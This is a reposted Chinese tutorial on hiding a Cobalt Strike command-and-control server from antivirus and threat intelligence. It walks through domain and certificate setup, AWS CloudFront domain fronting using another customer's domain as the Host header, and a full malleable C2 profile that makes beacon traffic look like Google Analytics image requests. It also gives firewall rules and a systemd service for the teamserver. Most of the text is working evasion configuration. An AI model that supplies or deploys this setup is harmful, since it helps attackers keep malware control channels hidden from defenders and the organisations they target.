您当前的位置:首页 > 电脑百科 > 安全防护 > 服务器/网站

如何隐藏你的C2域名

时间:2020-07-20 12:45:57  来源:  作者:

平时在渗透中我们经常会遇到这样的情况:上传一个远控到windows上,马上就被杀毒给杀了,

然后杀毒给样本自动上传到云中心,过一次去查会会ip或域名已经被标记为恶意ip或远控ip,那么有没有方法来避免这样的情况呢?

答案是的,我们可以将cs的连接信息加密和主机头部也不会暴露cs的连接域名。

一、申请域名

在域名注册商申请一个域名,对后缀无特殊要求,某些注册一个x.com

二、解析域名

用域名注册商自带的解析也行,此处用的是免费的cloudflare,把一个二级子域名解析到服务端的ip上面,改为test.x.com用A记录解析到192.168.1.1

三、申请域名证书

此处用的是acme.sh,用DNS api申请了一个通配符证书,怎么申请请看acme.sh Wiki(https://github.com/acmesh-official/acme.sh/wiki/dnsapi),目前acme .sh总支持110个DNS API。

用cloudfalreapi申请通配符证书:

exportCF_Token="sdfsdfsdfljlbjkljlkjsdfoiwje"
acme.sh--issue --dns dns_cf -d x.com -d '*.x.com'

安装证书并自动转换域名证书类型和重启cs服务端:

acme.sh--installcert -d x.com 
--keypath/usr/local/ssl/x.com.key 
--fullchainpath/usr/local/ssl/x.com.cer 
--reloadcmd"openssl pkcs12 -export -in /usr/local/ssl/x.com.cer 
-inkey/usr/local/ssl/x.com.key -out /usr/local/ssl/x.com.p12 
-passoutpass:123456 
&&systemctlrestart cobaltstrike.service"

安装完成之后acme.sh会每天检查证书过期时间,大概在还有一个月过期的时候acme.sh会自动签发证书并执行安装命令reloadcmd

四、转换域名证书类型

cs服务端只认识p12类型的证书,如果用acme.sh申请的话可以调用命令自动化转换域名证书

opensslpkcs12 -export -in /usr/local/ssl/x.com.cer 
-inkey/usr/local/ssl/x.com.key -out /usr/local/ssl/x.com.p12 
-passoutpass:123456

五、申请AWS CloudFront

注册一个亚马逊账号,绑定支持visa,mastcard等支付的***并通过审核,不支持银联***,需要注意的是aws是后述模式

注册好了之后访问https://console.aws.amazon.com/cloudfront/home,申请一个cloudfront

申请过程中需要注意的地方:

如何隐藏你的C2域名

 


如何隐藏你的C2域名

 

创建完成之后aws会分配一个xxx.cloudfront.net的域名到账号下面,记录下这个域名,之后会用到。

cloudfront不是免费的,可以了解下价格:

传出价格:

如何隐藏你的C2域名

 

预期价格:

如何隐藏你的C2域名

 

以及其他收费:

如何隐藏你的C2域名

 

六、修改C2简介

简介内容如下:

# makeour C2 look like a google Web Bug
#https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
#
#Author: @armitagehacker
setuseragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) likeGecko";

http-get{
       set uri "/__utm.gif";
       client {
              parameter "utmac""UA-2202604-2";
              parameter "utmcn""1";
              parameter "utmcs""ISO-8859-1";
              parameter "utmsr""1280x1024";
              parameter "utmsc""32-bit";
              parameter "utmul""en-US";
              header "Host""*.cloudfront.net"; # 这里需要修改
              metadata {
                     netbIOS;
                     prepend "__utma";
                     parameter"utmcc";
              }
       }
       server {
              header "Content-Type""image/gif";
              output {
                     # hexdump pixel.gif
                     # 0000000 47 49 46 38 39 6101 00 01 00 80 00 00 00 00 00
                     # 0000010 ff ff ff 21 f9 0401 00 00 00 00 2c 00 00 00 00
                     # 0000020 01 00 01 00 00 0201 44 00 3b
                     prepend"\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
                     prepend"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
                     prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
                     print;
              }
       }

}

 

http-post{

       set uri "/___utm.gif";

       client {
              header "Content-Type""Application/octet-stream";

              id {
                     prepend "UA-220";

                     append "-2";

                     parameter"utmac";

              }

              parameter "utmcn""1";
              parameter "utmcs""ISO-8859-1";
              parameter "utmsr""1280x1024";
              parameter "utmsc""32-bit";
              parameter "utmul""en-US";

              header "Host""*.cloudfront.net";  # 这里需要修改
              output {
                     print;
              }
       }
       server {
              header "Content-Type""image/gif";
              output {
 prepend"\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";          prepend"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";                     prepend"\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
                     print;
              }
       }
}
 
# dressup the staging process too
http-stager{
       server {
              header "Content-Type""image/gif";
       }
} 
https-certificate{
       set keystore "keystore.store";
       set password "123456";      # 这里需要修改

}

修改好之后放到cs服务端同一个目录下面

七、防火墙配置

根据aws提供的ip列表(https://ip-ranges.amazonaws.com/ip-ranges.json)选择出cloudfrant ip段,加入ipset列表

如何隐藏你的C2域名

 

然后iptables调用ipset设置仅允许aws cloudfront ip可以80、443回源

如何隐藏你的C2域名

 

最后新加规则,仅允许特定ip可以访问cs的管理端口

如何隐藏你的C2域名

 

最后的iptables规则文件应该是这样的:

如何隐藏你的C2域名

 

如果是debian发行版可以利用网络启动脚本进行ipset和iptables的重载

如何隐藏你的C2域名

 

cat >/etc/network/if-pre-up.d/iptables<<EOF
#!/bin/bash
/sbin/ipsetrestore < /etc/ipset.rules
/sbin/iptables-restore< /etc/iptables.up.rules
/sbin/ip6tables-restore< /etc/ip6tables.up.rules
EOF
chmod +x/etc/network/if-pre-up.d/iptables

八、启动服务端

cd到相应目录,软连接之前申请的证书

ln -s cobaltstrike.store /usr/local/ssl/x.com.p12

修改teamserver端口和防火墙对应

配置systemd启动服务,下面配置自行替换ip和passwd

cat > /etc/systemd/system/cobaltstrike.service <<EOF
[Unit]
Description=cobalstrike service
After=network.target
[Service]
ExecStart=/usr/local/cobaltstrike4/teamserver ip passwd/usr/local/cobaltstrike4/c2.profile
WorkingDirectory=/usr/local/cobaltstrike4
Restart=on-failure
RestartSec=5s
ProtectHome=true
PrivateTmp=true
[Install]
WantedBy=multi-user.target
EOF
systemctl start cobaltstrike.service # 启动服务
systemctl status cobaltstrike.service # 查看服务

如果正常可以加入开机自启动

systemctl enable cobaltstrike.service

九,启动客户端

在bat启动文件里加入-DsocksProxyHost = 127.0.0.1 -DsocksProxyPort = 10808,通过代理连接服务端

如何隐藏你的C2域名

 

新增一个侦听器,HTTPS主机填入其他支持cloudfront的域名,称为cdn1.safmc.net,更多的可以自己收集

如何隐藏你的C2域名

 

HTTPS主机(Stager)填充刚才申请到的cloudfront域名

如何隐藏你的C2域名

 

然后就可以按照正常的方式使用cs,如果抓包会发现使用了tls加密,只有主机头部和cloudfront.net可以看到,而主机头是cdn1.safmc.net,而不是前面申请的域名测试。 x.com

作者:Jdicsp
转载自:https://www.freebuf.com/articles/network/240649.html



Tags:C2域名   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
平时在渗透中我们经常会遇到这样的情况:上传一个远控到windows上,马上就被杀毒给杀了,然后杀毒给样本自动上传到云中心,过一次去查会会ip或域名已经被标记为恶意ip或远控ip,那么...【详细内容】
2020-07-20  Tags: C2域名  点击:(252)  评论:(0)  加入收藏
▌简易百科推荐
在最近的一波攻击中,黑客利用多个插件中未修补的漏洞攻击了 160 万个 WordPress 网站。 易受攻击的插件对 WordPress 网站产生了的巨大攻击数据。 Wordfence 最近发现 WordPr...【详细内容】
2021-12-16  蚁安    Tags:WordPress   点击:(9)  评论:(0)  加入收藏
事件起因从安全分析系统里面发现一条带有病毒的下载,然后针对这条记录展开了一系列的分析分析过程1.登录到被感染服务器,查看系统状况,hadoop 这个用户在 2020/6/18 20:32 从这...【详细内容】
2021-11-23  Z2990Lig    Tags:SSH   点击:(32)  评论:(0)  加入收藏
1、除了服务器需要用的一些正规软件,其它都不要安装。2、在用户中把administrator改名,这样做的目的是即使对方暴破了我们的密码用户名也不容易猜住,相当于又加了一道关卡。...【详细内容】
2021-11-01  IT小哥吧    Tags:服务器   点击:(37)  评论:(0)  加入收藏
账户安全(1)更名administrator本地用户并禁用guest账户步骤:点击“开始”,找到“管理工具”,点击里面的“计算机管理”,找到“本地用户和组” (2)设定账户锁定策略尝试5次失败...【详细内容】
2021-10-12  Kali与编程  今日头条  Tags:Windows主机   点击:(62)  评论:(0)  加入收藏
本文主要介绍以Microsoft的Windows Server 2019 ,版本:Datacenter(Domain Controller)安全加固保护.企业随着规模不断扩大,业务增多,信息安全建设是企业里一条只有重点没有终点...【详细内容】
2021-09-17  Vireshark    Tags:服务器安全   点击:(64)  评论:(0)  加入收藏
目录常见共享命令IPC$IPC$的利用条件1:开启了139、445端口2:目标主机开启了IPC$共享3:IPC连接报错IPC空连接空连接可以做什么?(毫无作用)IPC$非空连接IPC$非空连接可以做什么?di...【详细内容】
2021-09-16  网络说安全    Tags:系统安全   点击:(86)  评论:(0)  加入收藏
昨天一个老哥找到我,说他的服务器这几天一直被CC攻击,问我这边有没有什么解决的方法? 近年来,网络攻击事件越来越频繁,最常见的就是CC攻击和DDOS攻击,主要的区别就是针对的对象不...【详细内容】
2021-09-10  小蚁GDRAGON    Tags:cc攻击   点击:(58)  评论:(0)  加入收藏
网站页面上的登录操作,通常都是输入帐号密码,传输至网站后台验证。在网站页面、数据传输中,通过技术手段,都可以得到用户输入的信息,并可以修改,从而发起网络攻击。典型的如:使用自...【详细内容】
2021-08-30  修丹道的程序猿    Tags:登录方式   点击:(62)  评论:(0)  加入收藏
网络安全研究人员披露了一类影响主要 DNS 即服务 (DNSaaS) 提供商的新漏洞,这些漏洞可能允许攻击者从企业网络中窃取敏感信息。基础设施安全公司 Wiz 的研究人员 Shir Tamar...【详细内容】
2021-08-12  零日时代    Tags:漏洞   点击:(66)  评论:(0)  加入收藏
001暴力破解1. 指定用户名爆破密码传统型爆破思路,用户名可以通过猜测或者信息收集获得。猜测:admin、网站域名等信息收集:新闻发布人、whoami等2. 指定密码爆破用户名如果是后...【详细内容】
2021-07-23  KaliMa  今日头条  Tags:登陆框   点击:(85)  评论:(0)  加入收藏
相关文章
    无相关信息
最新更新
栏目热门
栏目头条